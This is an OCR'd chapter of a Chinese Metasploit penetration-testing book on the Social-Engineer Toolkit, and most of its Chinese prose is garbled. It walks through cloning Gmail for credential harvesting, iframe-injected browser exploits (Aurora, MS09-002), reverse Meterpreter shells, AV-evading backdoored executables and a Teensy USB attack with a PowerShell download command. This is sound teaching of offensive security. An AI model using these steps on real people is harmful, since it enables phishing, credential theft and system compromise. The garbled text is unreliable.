Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

10.3.2 ZERFim Web I

SET & 7T AR % /15 Web BB Wit EIXMERBIY, BITHERBRS BAaHFH
Java applet, IMI{EH] Metasploit ‘P H#ESIAKE F 5B ERL, R HRRELHER L. EFH
P BB, R RTEAT O A B E A H AR R P ETE AT RE AR, KR vk
MiES Oday Biahi: S 0day RIAMKZERISHILE Metasploit 1, #BABHE T LLE
JLANB R AT LAFIA SET TR S R4 T -

EXAFR, BIAGES LB SEER, ERBRAITKMAR 5w, %/ %5
EEE B AT BRI SET 4K £ BOBGHARRE X IE RIBI 2800, 24, £F3) Firefox
W B BTt AEAE, (BEEED HNHBEHARTZ . EXANEGIP, B8 k%
7 Google ) Aurora Bifif it . FFURHEL, WMAW T4

root@bt:/pentest/exploits/set# ./set

Select from the menu:

@ 2. Website Attack Vectors
Enter your choice: 2

® 2. The Metasploit Browser Exploit Method
Enter your choice (press enter for default): 2
[1] Website Attack Vectors [!]

© 2. Site Cloner
Enter number (1-4): 2
SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com
@ Enter the url to clone: http://www.secmaniac.com
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F108E #ETE¥IARE

fF SET 3K rhikF Web B[RO, 2 /5 Metasploit B BRH T #EO, it —F
PR EELTO, A RAEE RN http:/www.semcmaniac.com® . — HL 5545 L[,
AT TR g ST H AR A s BT AR A IR TS B A .

Enter the browser exploit you would like to use

© 16. Microsoft Internet Explorer "Aurora"

Enter your choice (1-23) (enter for default): 16
What payload do you want to generate:

Name : Description:

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker.

® Enter choice (example 1-10) (Enter for default):
Enter the port to use for the reverse (enter for default):

[*] Cloning the website: http://www.secmaniac.com

[*] This could take a little bit...

[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.
[*] Launching MSF Listener...

[*] This may take a few to load MSF...

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.

msf exploit(ms10_002_aurora) >

[*] Started reverse handler on 10.10.1.112:443

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http:// 10.10.1.112:8080/

[*] Server started.

EFE PR R R R P R A IR, SRR S e A B A . R LA, B
I1EFEL K IE Aurora WHBBBRIRO, 71 1B % O 1§ BRIk 1) Meterpreter 3 Bt 8
T FIME B L 70

X B AR R hrtp://www.secmaniac.com B, PITRELUIER, HREERF L, BIRRFACLE
AHESE Ciframe) FEAFEHI T EHL. SET BZIM EMIZHT TEH, BT MR
RESRACRY, SRSERE% S Initi o

E R bl b, B ESRABE CLMII T . Meterpreter M B brB| BRI SIEES
EOEET, RIMBE®TELESBFEIEN. WFHR:
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i

T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

%

Metasploit 3&3E ik 15 B3

msf exploit(handler) >
[*] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10.10.1.102:58412)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

shellmeterpreter > shell

Process 2819 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C} Copyright 1985-2001 Microesoft Corp.

C:\Documents and Settings\Administrator\Desktop>

10.3.3 AP RAFEILIREL

FENHAE)FH, BATH HAR IR T B & EHURRHIRBE . SET 8- MExT 88 #zh
RER, EAMNRAREMNTIDIGE, MEEESRIGRMITHFOBEGR. €T MIT
H, SET #¥f %[ Gmail &R HE, FN B3)ES POST ik, SEIE(EE POST ¥ SET #EM
P T AR S5 % RIEATOTEL, S AT R Ak

0O 3. Credential Harvester Attack Method

Enter your choice (press enter for default): 3
[!] Website Attack Vectors [!]

® 2, Site Cloner
Enter number (1-4): 2

Email harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into
a report.

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
© Enter the url to clone: http://www.secmaniac.com

Press {return} to continue.

[*] Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F10E #H=TEFXTAS

TEIERE T Web By [ ROFIRBHLEFBIAT)E, EFENAREETO. X HdHE
MIREE AR K20, NEERIREE T EKMNE URL Chtp:/www.secmaniac.com) O \%| SET
H, BRZMNAFEQSAERRE.

W TR % 2832 4T H S REE AR . IEQRT AT B, IR LAZEIX R L F 4T HF Web
KT (WEBATTACK_CONFIG=ON), [@it SET S#RFRET T SRR B4k % 8
PR iR, — N Gmail $FXUH M —HMUHESEAEQFRHA TN, YAHA
FPRINERFEE, Mt BshEE R R FHBIERK Gmail WE, R TEEKBHELRX
Buuhi#E.

10.10.1.102 - - "GET / HTTP/1.1" 200 -

[*] WE GOT A HIT! Printing the output:

PARAM: ltmpl=default

PARAM: Itmplcache=2

PARAM: continue=https://mail.google.com/mail/?

PARAM: service=mail

PARAM: rm=false

PARAM: dsh=-1174166214807618980

PARAM: 1tmpl=default

PARAM: 1tmpl=default

PARAM: scc=1

PARAM: ss=1

PARAM: GALX=S3ftXFIwwOE

POSSIBLE USERNAME FIELD FOUND: Email=ihazomgsecurity2390239203
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisisacomplexp@55word!!!!!
PARAM: rmShown=1

PARAM: signIn=Sign+in

PARAM: asts=

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

SET f# /] — P & H kAR IR b S H BB E RN LTRSS Y . HABRAERE
WETER R P 2 NESSH, IXFEAT R & XS A R BURE B .

— BHARSERR T X H ARBURME BROZKE, A CTRL-C Al —AMRE, WE 10-3 fix, WE
fEH XML #1 HTML # =K.

SET Frill B ] Web k%5 2% & £ E&A201, ER LA KRHER. UKEBEHREMNT EBMA
AT E RS, SET £ HENERXERAFBAE BT, M AR — AT AR .

PR RT LURFER R O RUSRAR B T R XML AeF i, LUEEAJSTH 2B H A T A A% .
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% it 15 i

B 10-3 S BREUR &

10.3.4 1RBVEHFFBE

Kb R sh R Em st HirA/ EX RS T2 MR, U B RA T K
WMREPIUN, b TP NEREEN, PIIUSRIL “ URIEERR, e
R R, T2 H AR A P OB B TR, R P R 2 & AR B B S5 — MR T,
HEE AR E, @ BRSO RS CEER-- 7 IETER R B AR BT RV R P S .

Lhe b, BbRR P AIBOEER R B S M EEMIENNERETRE, HHEMEED
i £ AR E-mail SNBSS N, FFRERETER, XN hRBRENEENMTHH
MbFIBURE B2 G, KRWEE N EAERGE, X B AR R8UEE BmSm R mR A i
B TTH. AR eT LUEIE SET #) Web Briti [ B4 M R A AR TS FFBL Bk

10.3.5 w g AIE

o ) A Bk A ] HTTP referer HUEIM —/N CZIZHEIMG, s8R ABEHEARN (XSS),
# HARAD BURGE ARSI R I HTTP JRS5%8 . MRMRERIMT — MM ARR, %5
RIRFFPRHEHTOE URL 4 BRI, MB 0 H P AdizsEE, WERER, R4 B
P ERBIFEARLR, hrBURE B S pifeidn . h A S AT LE SET 1)
Web Mt i) B (1 22
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F10E Ho2TEFIRE

10.3.6 MMTEh#EF

I U R SET 0.7 JSUATh B9— SN AE, B A VFARGIEE N TTRERIRA S, ARSI
— AR D2 B 2 ARy R RIS HARH P . 24 B bR R P8 BRI i R )
%, SoRKEERK URL, MAREGHEFRER URL. §lW: oo & R 2
https://gmail.com, 4 B brHFERARTE Z URL _EIO R, 2-F#KA 2 https:/gmail.com,
BRI A 0l % URL (FIAE, Gmail P 0T84 3050 80 2 4F 95 Web IRE- 8 PTIUE .

XU R T 3 TR RS SR, U H bR S B RARSGTE URL B, JLSEdR 0
(IR VR BT 5 BE B S ik M . S R URL B, A ZhHEZE R4, 7F B ani A KILmIfEoL
P T P i A T e o TG 3 ] LUIE IS 8 K config/set_config METRUR A5 21 Web Eh#FI1/A 3h
R IEl .

R BB R ACE SET, % Z% ¥ Web Jacking Attack Method® 1 Site Cloner®, [
o 7 4 A ARAR S B 6611025 ttps://gmeail.com® , 101 F 7

O 6. Web Jacking Attack Method

Enter your choice (press enter for default): 6
[!] Website Attack Vectors [!]
@ 2. Site Cloner
Enter number (1-4): 2
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com

© Enter the url to clone: https://gmail.com

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]

Press {return} to continue.

[*] Web Jacking Attack Vector is Enabled...Victim needs to click the link.

2 HER AP UFE O R M SURIR R, AR R R E 10-4 FTRRIEERE, EREAETAK URL
R B RE i https://gmail.com.
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% Wi {55

T lpe 012 Vi D1 RA Morsqustt nnrnat Lnpiare
G e Peate Tel e

O - O BREG Jme o @ 2 HRA
e ety i 2 e i = ) ju s

The site Ig_llpu:h'gmnil_.m}_r_n_g_ns maoved, click here to go to the new location.

PR, B s —— o T g

B 10-4 5B BUEFISE W) Te e M 0L A

S b A A o R AR, £ TR BLE AT BT RO AN P 10-5 BT 7R B A Gmail XK 5TTE]

— R 52 R DI
e 7

B G pee fpey Qelesis [k dep
B ¢ X & (rmnns s S

[ e i K A e R T I e
? e [———p—— [
T AP : A e i et M
A Google approach 1o email S 0 wan po
{emad = it on the s il s can be mans i, sficinnt and uselel dnd maybe sven fn e o, Sl b Googhe Account
-
Len g o
' - 118 magibytas (wnd Counag] of e warsge . s
Laws spam [0 Stay mpoaet i
wap v sagis o n )
Mahile a<iem L s e scnt?
a1 G o ginst miinde phi LEATE

Shoar s Donal? ' bo and mnoy
| Crmste s s sunt =

d
I

Bl 10-5 oA Gmail XMW T

FREFIZEE 10-5 L BREI URL 25 7 A6 Web IR s hht, #E/F8EH TIE, 4R
P — A4, DU AN BN R L. — BB ERA T thEHE %
4, IEEESmRE ERAPR8RERT .
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F10¥E HSTEFIAE

1037 HAEZEWEHAE

R BRI AT A B A R — B B R, SR KRB ERGE. AWK
HHEREHAESAFAMBGERE, ER—MEECREN Web TR LM E. X B GbveE
a, eRamdiE i ie Bk Kot B R T B . 2EBGESAREFARN, &
—2eE R, Java applet BGE R BB AT, BEZ IR IE X EARBEL S AT RER T B
# Java applet FI% P i (1] 1E 30 W3R E B L), (B8UR{E B 97 BN e AL -

T EE T, HodvE KA Java applet i, Metasploit & F B Bdi, AWM T1E)
RWadi. GEAFAPNREEEMITIE, BHERe| adx M, K Java applet X7,
Metasploit & = 5 V82 Bk LA & M OB HF B 4 2 R AE A B S Bty H AR . X R EATRAESE 1E7
T B ERG, T H AP ER E6 AT, KERE-MEERMEERT, K
b B 7 2 A an e A Th R«

The Java Applet Attack Method

The Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Man Left in the Middle Attack Method
Web Jacking Attack Method
Multi-Attack Web Method

Return to the previous menu

O~ G B W N R

Enter your choice (press enter for default): 7
[!] Website Attack Vectors [!]

® 2. Site Cloner
Enter number (1-4): 2

© Enter the url to clone: https://gmail.com
Select which attacks you want to use:

. The Java Applet Attack Method (OFF)

. The Metasploit Browser Exploit Method (OFF)

. Credential Harvester Attack Method (OFF)

. Tabnabbing Attack Method (OFF)

. Man Left in the Middle Attack Method (OFF)

. Web Jacking Attack Method (OFF)

. Use them all - A.K.A. 'Tactical Nuke'

. I'm finished and want to proceed with the attack.
. Return to main menu.

W oo~ O o e

Enter your choice one at a time (hit 8 or enter to launch): 1
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W28 224, WA Hrh BN (WWW.17HUAN.COM) K& G 6% i61% (BBS.176ku.COM) L&+ ATE -

ST RSP HEBORMU A2 ) 2 ], ARAT AN AN 2 A 88 AT A48, 17 IR 25 AT 1) SE AR A R B AT DR AS i 8 20 BB
KU T AR, WAL BT bR R IR BRI A R R BUR A M S AR Z AL, B0 5 A0, BRI F AR B ISR IERRASRE, SRR

i

%

Metasploit ;& iE W15 &

Turning the Java Applet Attack Vector to ON

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 2
Turning the Metasploit Client Side Attack Vector to ON
Option added. Press {return} to add or prepare your next attack.

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 6
Turning the Web Jacking Attack Vector to ON

Select which attacks you want to use:

« « o SNIP . . .

Enter your choice one at a time (hit 8 or enter to launch):

G

Frashc B ¥t 5, 78 £ B 3% FF Multi-Attack Web Method®, 2 /&% # Site Cloner®,

HEMANEE TR RN URL: haps:/gmail.com®; 3R )5, SET ¥ H LA AR R B 2 py3E .
£+ Java applet B(ii®. Metasploit & IRBBEH O, LI EMAHFEGHHEO. Hin
PAE$EIETH 7——Use them all - A.K.A. 'Tactical Nuke', ¥ Bah{# g R Ei#TRE.

ETXK, BFEITHCLRETH, Javaapplet Bifi. Metasploit 25 /7 858 E B di. W3

MRS, URBRBGEERREGHMELTE, BSHEHMA enter BRE L 8 (— 15k

Enter your choice one at a time (hit 8 or enter to launch):
What payload do you want to generate:

Name : Description:

@ 2. Windows Reverse TCP Meterpreter
back to attacker.

Enter choice (hit enter for default):

Below is a list of encodings to try and bypass Av.

Select one of the below, 'backdoored executable' is typically the best.

@ 16, Backdoored Executable (BEST)

224 WwW.176K u.CoM
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F10E #&TE¥TRE

Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

o 3 3 3 ok o KR Kk ok ok oK ook o e Sk sk ok ok R oR ek skokok ok e ok ok kR Solok ok ok ok

Do you want to create a Linux/0SX reverse tcp payload
in the Java Applet attack as well?

oo e o ok oA ek oo sk oKk o K Hekok koK ok A o o R

@ Enter choice yes or no: no
Enter the browser exploit you would like to use

@ 8. Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)
Enter your choice (1-12) (enter for default): 8

[*] Cloning the website: https://gmail.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: x5sKAzS
[*] Malicious java applet website prepped for deployment

[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.

msf exploit(ms09_002_memory corruption) »>

[*] started reverse handler on 172.16.32.129:443
[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://172.16.32.129:8080/

[*] Server started.

AT R BRI L, B FHEEEIRIAN Meterpreter R MR KHHFTO, LIRR
INFIZRASAT AT, @ . ANERLE Linux 1 OS X MBUhEATO, EFR3 9838728 B IR
2 J& Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)®, 2 J5 SET ¥ k&¥ 5.

—BIGHIFIGET, T LEE M TR, —/> URL {5 B &#ORRK M T 24
BahBHARM T . B 10-4 B8 T HErA P EMA 3 RSP EE NG R,

RS, Metasploit A 2217, THRRE&F—LAEHFN:

[*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory
Corruption to 172.16.32,131:1329...

XKEBBREGHRK T, FEARIMEANE 1E6 AN, X HRE A ERRE S
BEE 10-6 FrRMER.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

DL /e

. Metasploit ;2iERIXIEMRE

oty The application’s digital signature ¢ b el Coogle Azcount

Do you want to run the application PETS
g e
Paamword |
] Say sgrad in
(=T

o e e 4 bt i )
M. e

B D

I S —

10-6 £ EBGHNEZERTHB

RIVEE & FAMBGEHE R, HARATIET T %ER Javaapplet, -~ Meterpreter shell 714
AT, [FIRH AR 88 4 ) B IE R Y Gmail MG, IXRBEHERINT -

FERLE) i F Java applet i, 3RA114 BEhIE Meterpreter T2 2 notepad.exe F, 1XFE, BP
{8 EHRA P 6B TR AE, AT AR 0 HEFR A K M 22 L1 Meterpreter shell. [, i
A LAZERRE SO e “Java Repeater” SEIR, P P AT TN BROREAL T, ZEmal
BAik Java applet B -tEAME -, XPER] LLLE HARE N 5 Ff sl s T

LEBER AR S, Meterpreter shell 4 5 Hi[E % R RITEN, W0 FHI~=:

[*] Sending stage (748544 bytes) to 172.16.32.131

[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu Sep 09 12:33:20 -0400 2010

[*] Session ID 1 (172.16.32.129:443 -> 172,16.32.131:1333) processing
InitialAutoRunScript 'migrate -f'

[*] Current server process: java.exe (824)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 3044

[*] New server process: notepad.exe (3044)

msf exploit(ms09_002_memory corruption) >

e, BANFAEWEBEL S LY, EEBRA X Java applet B/ EAGHEUER (BT
MEEIRMHEET) . HEHABTRESEREX S PRMALKEF 2. XEFRITT
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$10¥E HSTRY¥YTAS

DL B3R B B A5 BUR G5 B Mﬁ'ﬁ%ﬁﬁﬁﬁ'&ﬁo T H#r¥ A 5351247 Java applet, iX
ST BAVEA ST — Meterpreter shell, {BHAR W LLEEEH P RI8UEE B.

[*] WE GOT A HIT! Printing the output:

POSSIBLE USERNAME FIELD FOUND: Email=thisismyusername
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

IEWRTERT EEIS] 5 R BRI AR, SET LRAESREE T KR HIhEEIR KR Web K T
Ho RUEALRHEAMRAE R HAARE DM RGN, ERXZBHNERFZEENES
KMRIF, AR R S BT AT AN BRI P 3t T B 0 9 T B S O G X AT W A
SR BN, SET BXF i A0 R o 3t R Sl 7 X AR A, R B E AR R
R R s N '

10.4 fRMEIKRE Y25

LR SR — A R R &, EiX A&, SET Gk, R
AT LUK HEEH|E] CD/DVD S b, siE S USB Kah8E b, —BiXsF MmN T H
FrEHLE, Autorun.inf iX/N3CH¥ S Ba0NE, FFiZE1T autorun.inf XM A8 E MAERE B .
HAl, SET X730 (Blin: Meterpreter), [ % 80 IRIAEELE B
4 adobe iR BT

10.5 Teensy USB HID ¥iH @&

Teensy USB HID  CAMLEE % ) Biak ) & 5 AL B8 14 Rl ol s A ol ot PR B i B¢
ARBFERAS. MEGEEN R, SIRERKTHEAN—3K CD/DVD K4, 3FHF—4 USB &
%, IR EINEB LA RIS, autoruninf U EE BBIPUTIRTERX SN P EEHE
BOCHF. AR, FAI Teensy USB HID, REEBHAH —MEEMBIR, HRBAX MR ERY A
Bf, AR R AR, R R R N s, Tl —ARdid 4
B HAr =ML, 3Em 5e 285 H AR 0L T B Sh IR & IR AR W] LU hip://mwww pric.com/
o5 H 3R FIK T Teensy USB HID HEif4pIfE R

B ATME R Teensy USB HID K474~ Metasploit i BA K T 8. & T mms 7, B8]
¥ 95— /N WSeript BIAMRRS, 7E Hbr =N E TR IFPIT B EAT M, BAITLAE 2T
SET Ri&k s Fh BB .

Select from the menu:

© 6. Teensy USB HID Attack Vector

Enter your choice: 6
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit %Ml i 15 &
Welcome to the Teensy HID Attack Vector.
Special thanks to: IronGeek and WinFang
Powershell HTTP GET MSF Payload
WSCRIPT HTTP GET MSF Payload

Powershell based Reverse Shell
Return to the main menu.

B N R

Enter your choice: 2

© Do you want to create a payload and listener yes or no: yes
What payload do you want to generate:
Name : Description:

. . . SNIP ...

2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker.

@ Enter choice (hit enter for default):
Below is a 1list of encodings to try and bypass AV.
Select one of the below, 'backdoored executable' is typically the best.
« .« o SNIP . ..
16. Backdoored Executable (BEST)

@ Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable

[*] PDE file created. You can get it under 'reports/teensy.pde'
[*] Be sure to select "Tools", "Board”, and "Teensy 2.0 (USB/KEYBOARD)" in Arduino
Press enter to continue.

[*] Launching MSF Listener...

resource (src/program junk/meta_config)> exploit -j
[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...

RN TIX KB, EE3 8 L% Teensy USB HID Attack Vector®, 2 J5i%#F
WSCRIPT HTTP GET MSF Payload®, #AJ5%VF SET Gl —NBUl A F M Urin 0 @, ik
FEERIA K Meterpreter i B ATO R T X O .
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F10E #H2TIEFIRE

MLE, RERT A4k pde FI3CHE, RTEE THMMEH Arduino #:H, ZETEILF IR
B2 O] AR R 44 7% pde 30PF, I BAEBIARI Teensy % .

EFXTIXA BT, FHEM PIRC Chtip://iwww.pjre.com/) 25 HEIHRS, EARREZERITIE
BACHLE] TEENSY 9 USB 5 H 4R b o IXAN I FR AN R U302 LA TR L, 175 B 22 %¢ Teensy
WAFFERREE, ZESaSFD4H Arduino  (Arduino/Teensy % #F Linux. Mac OS X L4
K Windows #:E RE &) () IDE 8 1. BE B M) — sUR IR EH s EHOEHES| Teensy USB
A/ B Ax L, Wk 10-7 Bras:

Tools

Auto Format ®T g
Archive Sketch

Fix Encoding & Reload
Serial Monitor T®M

) 17 Teensy

e @

Teensy 1.0
3 4 Serial Port » | Teensy 2.0
Press Bulton g B USB Type > Teensy++ 1.0
TOR_CﬂvafE il CPU Speed » | Teensy++ 2.0
FEER 4 L2LLE% Arduino Uno
Burn Bootloader > Arduino Duemilanove or Nano w/ ATmegai2§
P . Arduino Diecimila, Duemilanove, or Nano w/ ATmegal6s
Arduino Mega 2560
Arduino Mega (ATmegal280)
Arduino Mini
Arduino Fio
Arduino BT w/ ATmega328
Arduino BT w/ ATmegalb8
LilyPad Arduino w/ ATmega328
LilyPad Arduino w/ ATmegal68
Arduino Pro or Pro Mini (5V, 16 MHz) w/ ATmega328
Arduino Pro or Pro Mini (5V, 16 MHz) w/ ATmegal68
Arduino Pro or Pro Mini (3.3V, 8 MHz) w/ ATmega328
Arduino Pro or Pro Mini (3.3V, 8 MHz) w/ ATmegal68
Arduino NG or older w/ ATmegal68
. Arduino NG or older w/ ATmega8

Bl 10-7 B# Teensy &

— Ik s, B2 ETH pde XA HEAF] Arduino 8204, fEHfk EFAURE) USB & L
A0S, XRES MR E& R SET 4 iR ERE k. B 10-8 /n T IE7E LU,

KREE A USB WAMAR BARTH, R KIACRR BT, RIasiT LE B —4
Meterpreter shell:

[*] Sending stage (748544 bytes) to 172.16.32.131

[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu June 09 12:52:32 -0400 2010

[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAutoRunScript 'migrate -f'

[*] Current server process: java.exe (824)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 3044

[*] New server process: notepad.exe (3044)
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit j&iEMiA 15

™ O ™ Teensy

. W B i
e 2]

Press Button 'fd
To Activate

i w ¥ ar convert [4] = "808%; at chonge thi

8 %% char comeandi[] = "powershell -Command $cint « new-object System.Net.WebClientifurle 'http://178

B 4 TXr ] ad
skittch,_mar15a.cop. hex (wnnd char commond2[] = “SHOMERATH . \x .exe

EoI T H
Keyboard .set_modif ier{HODIFIERKEY_CTRL );
Keyboard .set_keyi (KEY_ENTER);
Keyboard . send_now( );
Keyboord .set_modifier{d);
Keyboord .set_keyi(@);
Keyboard . send_now( )3
i | o 1PBIBABE ) ;
¥ .
g loopd) {3

void ascii_type_this{char *string)
{
int count, length;
length = strien{string);
for{eount = @ ; count < length ; countss)
{
ar a = string[count];
ascii_input{oscii_convert{a});

a

}

e e )

10-8 Teensy B il 1%

10.6 SET myE %1%

BTN REAEA B 4E SET TRAEMNE N HHAE RS, A& SET Mkicf — e —1#
HIZhaedrtE. Hr —(@ R SET MZZ B3 shell: %38 B 3 shell 7] LL## Meterpreter 14—~
Hiighar. 74b—MF R RATTE (Tommy BUGEFRE B TH): —4>H Thomas Werth & )3 F
HTTP BB B AT, EHET HTTP thilGHTEE, HAH T HRFEENAEEE. SHHR
FHER S RN EE HTTP BTN, RATTE B EMR4E%AH T, RATTE i
{# F blowfish HiERHAT HTTP ¥ ERIINEELE .

AP A THAE SET 1) Web B RE (— A 5eK Web WHBHEF, e AL
ERHEMEGEIE ) MELBGEME. MEIEST SET £ Web BIEFH, RAETE SET MR
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
